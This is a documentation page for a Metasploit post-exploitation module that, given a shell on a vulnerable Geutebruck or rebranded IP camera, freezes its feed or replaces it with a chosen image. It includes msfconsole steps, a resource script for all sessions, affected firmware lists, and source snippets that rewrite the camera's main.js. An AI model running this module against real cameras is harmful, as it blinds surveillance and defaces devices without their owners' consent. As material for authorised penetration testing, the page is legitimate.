Geutebruck Camera Deface - Metasploit
This page contains detailed information about how to use the post/linux/manage/geutebruck_post_exp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Geutebruck Camera Deface
Module: post/linux/manage/geutebruck_post_exp
Source code: modules/post/linux/manage/geutebruck_post_exp.rb
Disclosure date: -
Last modification time: 2021-09-03 12:30:12 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will take an existing session on a vulnerable Geutebruck Camera and will allow the user to either freeze the camera and display the last image from the video stream, display an image on the camera, or restore the camera back to displaying the current feed/stream.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/linux/manage/geutebruck_post_exp
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/linux/manage/geutebruck_post_exp
msf post(geutebruck_post_exp) > show options
... show and set options ...
msf post(geutebruck_post_exp) > set SESSION session-id
msf post(geutebruck_post_exp) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/linux/manage/geutebruck_post_exp")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
The following Geutebruck products using firmware versions <= 1.12.0.27, firmware version 1.12.13.2 or firmware version 1.12.14.5:
- Encoder and E2 Series Camera models:
- G-Code:
- EEC-2xxx
- G-Cam:
- EBC-21xx
- EFD-22xx
- ETHC-22xx
- EWPC-22xx
Many brands use the same firmware:
- UDP Technology (which is also the supplier of the firmware for the other vendors)
- Ganz
- Visualint
- Cap
- THRIVE Intelligence
- Sophus
- VCA
- TripCorps
- Sprinx Technologies
- Smartec
- Riva
This module has been tested on a Geutebruck 5.02024 G-Cam EFD-2250 running the latest firmware version 1.12.0.27.
Description
This module will take an existing session on a vulnerable Geutebruck Camera and will allow the user to either freeze the camera and display the last image from the video stream, display an image on the camera, or restore the camera back to displaying the current feed/stream.
Users can find additional details of the related vulnerabilities on the blogpost page at https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/.
Verification Steps
Freezing camera stream on the current image
- Launch
msfconsole
- Get a shell using one of the published Getebruck exploits
- Do:
use post/linux/manage/geutebruck_post_exp
- Do:
set SESSION <session number of the Geutebruck shell>
- Do:
set action FREEZE_CAMERA
- Do:
run
- The image should be frozen
Replacing camera stream with a custom image
- Launch
msfconsole
- Get a shell using one of the published Getebruck exploits
- Do:
use post/linux/manage/geutebruck_post_exp
- Do:
set SESSION <session number of the Geutebruck shell>
- Do:
set action REPLACE_IMAGE
- Do:
set IMAGE /local/image/path/to/upload
- Do:
run
- The image should be replaced by the custom one
Restoring the current camera stream
- Launch
msfconsole
- Get a shell using one of the published Getebruck exploits
- Do:
use post/linux/manage/geutebruck_post_exp
- Do:
set SESSION <session number of the Geutebruck shell>
- Do:
set action RESUME_STREAM
- Do:
run
- The stream should be resumed
Scenarios
Geutebruck 5.02024 G-Cam EFD-2250 running firmware version 1.12.0.27.
msf6 > use post/linux/manage/geutebruck_post_exp
msf6 post(linux/manage/geutebruck_post_exp) > show options
Module options (post/linux/manage/geutebruck_post_exp):
Name Current Setting Required Description
---- --------------- -------- -----------
IMAGE no Full path to the local copy of the image to upload
SESSION yes The session to run this module on.
Post action:
Name Description
---- -----------
FREEZE_CAMERA Freeze the camera and display the last image taken from the video stream
msf6 post(linux/manage/geutebruck_post_exp) > show actions
Post actions:
Name Description
---- -----------
CHANGE_IMAGE Display an arbitrary image instead of the video stream
FREEZE_CAMERA Freeze the camera and display the last image taken from the video stream
RESUME_STREAM Resume the camera's video stream and display the current live feed
msf6 post(linux/manage/geutebruck_post_exp) > set IMAGE /var/randori.jpg
IMAGE => /var/randori.jpg
msf6 post(linux/manage/geutebruck_post_exp) > set action CHANGE_IMAGE
action => CHANGE_IMAGE
msf6 post(linux/manage/geutebruck_post_exp) > set session 1
session => 1
msf6 post(linux/manage/geutebruck_post_exp) > run
[!] SESSION may not be compatible with this module.
[*] -- Starting action --
[*] Uploading a custom image...
[*] Backing up the original main.js...
[*] Using the new main.js...
[*] Done! The stream should be replaced by your image!
[*] Post module execution completed
msf6 post(linux/manage/geutebruck_post_exp) > set action FREEZE_CAMERA
action => FREEZE_CAMERA
msf6 post(linux/manage/geutebruck_post_exp) > run
[!] SESSION may not be compatible with this module.
[*] -- Starting action --
[*] Taking a snapshot of the current stream to use as the static image to freeze the stream on...
[*] Freezing the stream on the captured image...
[*] Backing up the original main.js...
[*] Using the new main.js...
[*] Stream frozen!
[*] Post module execution completed
msf6 post(linux/manage/geutebruck_post_exp) > set action RESUME_STREAM
action => RESUME_STREAM
msf6 post(linux/manage/geutebruck_post_exp) > run
[!] SESSION may not be compatible with this module.
[*] -- Starting action --
[*] Resuming stream...
[*] Restoring main.js backup...
[*] Restored! Stream back to a normal state.
[*] Post module execution completed
Go back to menu.
Msfconsole Usage
Here is how the linux/manage/geutebruck_post_exp post exploitation module looks in the msfconsole:
msf6 > use post/linux/manage/geutebruck_post_exp
msf6 post(linux/manage/geutebruck_post_exp) > show info
Name: Geutebruck Camera Deface
Module: post/linux/manage/geutebruck_post_exp
Platform: Linux
Arch:
Rank: Normal
Provided by:
Ibrahim Ayadhi
S��bastien Charbonnier
Compatible session types:
Shell
Available actions:
Name Description
---- -----------
CHANGE_IMAGE Display an arbitrary image instead of the video stream
FREEZE_CAMERA Freeze the camera and display the last image taken from the video stream
RESUME_STREAM Resume the camera's video stream and display the current live feed
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
IMAGE no Full path to the local copy of the image to upload
SESSION yes The session to run this module on.
Description:
This module will take an existing session on a vulnerable Geutebruck
Camera and will allow the user to either freeze the camera and
display the last image from the video stream, display an image on
the camera, or restore the camera back to displaying the current
feed/stream.
Module Options
This is a complete list of options available in the linux/manage/geutebruck_post_exp post exploitation module:
msf6 post(linux/manage/geutebruck_post_exp) > show options
Module options (post/linux/manage/geutebruck_post_exp):
Name Current Setting Required Description
---- --------------- -------- -----------
IMAGE no Full path to the local copy of the image to upload
SESSION yes The session to run this module on.
Post action:
Name Description
---- -----------
FREEZE_CAMERA Freeze the camera and display the last image taken from the video stream
Advanced Options
Here is a complete list of advanced options supported by the linux/manage/geutebruck_post_exp post exploitation module:
msf6 post(linux/manage/geutebruck_post_exp) > show advanced
Module advanced options (post/linux/manage/geutebruck_post_exp):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the linux/manage/geutebruck_post_exp module can do:
msf6 post(linux/manage/geutebruck_post_exp) > show actions
Post actions:
Name Description
---- -----------
CHANGE_IMAGE Display an arbitrary image instead of the video stream
FREEZE_CAMERA Freeze the camera and display the last image taken from the video stream
RESUME_STREAM Resume the camera's video stream and display the current live feed
Evasion Options
Here is the full list of possible evasion options supported by the linux/manage/geutebruck_post_exp post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(linux/manage/geutebruck_post_exp) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The CHANGE_IMAGE action requires the IMAGE option to be set!
Here is a relevant code snippet related to the "The CHANGE_IMAGE action requires the IMAGE option to be set!" error message:
56: pwn_main_js
57: print_status('Stream frozen!')
58: end
59:
60: def action_change_image
61: fail_with(Failure::BadConfig, 'The CHANGE_IMAGE action requires the IMAGE option to be set!') if datastore['IMAGE'].blank?
62: fail_with(Failure::BadConfig, 'The image path specified by IMAGE does not exist!') unless ::File.exist?(datastore['IMAGE'])
63: print_status('Uploading a custom image...')
64: upload_file('/usr/www/uapi-cgi/viewer/image.fcgi', datastore['image'])
65: pwn_main_js
66: print_status('Done! The stream should be replaced by your image!')
The image path specified by IMAGE does not exist!
Here is a relevant code snippet related to the "The image path specified by IMAGE does not exist!" error message:
57: print_status('Stream frozen!')
58: end
59:
60: def action_change_image
61: fail_with(Failure::BadConfig, 'The CHANGE_IMAGE action requires the IMAGE option to be set!') if datastore['IMAGE'].blank?
62: fail_with(Failure::BadConfig, 'The image path specified by IMAGE does not exist!') unless ::File.exist?(datastore['IMAGE'])
63: print_status('Uploading a custom image...')
64: upload_file('/usr/www/uapi-cgi/viewer/image.fcgi', datastore['image'])
65: pwn_main_js
66: print_status('Done! The stream should be replaced by your image!')
67: end
/usr/www/viewer/js/main.js.bak doesn't exist on the target, did you run FREEZE_CAMERA or CHANGE_IMAGE actions yet?
Here is a relevant code snippet related to the "/usr/www/viewer/js/main.js.bak doesn't exist on the target, did you run FREEZE_CAMERA or CHANGE_IMAGE actions yet?" error message:
67: end
68:
69: def action_resume_stream
70: print_status('Resuming stream...')
71: unless file_exist?('/usr/www/viewer/js/main.js.bak')
72: fail_with(Failure::NoTarget, "/usr/www/viewer/js/main.js.bak doesn't exist on the target, did you run FREEZE_CAMERA or CHANGE_IMAGE actions yet?")
73: end
74: print_status('Restoring main.js backup...')
75: move_file('/usr/www/viewer/js/main.js.bak', '/usr/www/viewer/js/main.js')
76: print_status('Restored! Stream back to a normal state.')
77: end
Go back to menu.
Related Pull Requests
Go back to menu.
See Also
Check also the following modules related to this module:
- exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx
- exploit/linux/http/geutebruck_instantrec_bof
- exploit/linux/http/geutebruck_testaction_exec
- post/linux/manage/dns_spoofing
- post/linux/manage/download_exec
- post/linux/manage/iptables_removal
- post/linux/manage/pseudo_shell
- post/linux/manage/sshkey_persistence
Authors
- Ibrahim Ayadhi
- Sébastien Charbonnier
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.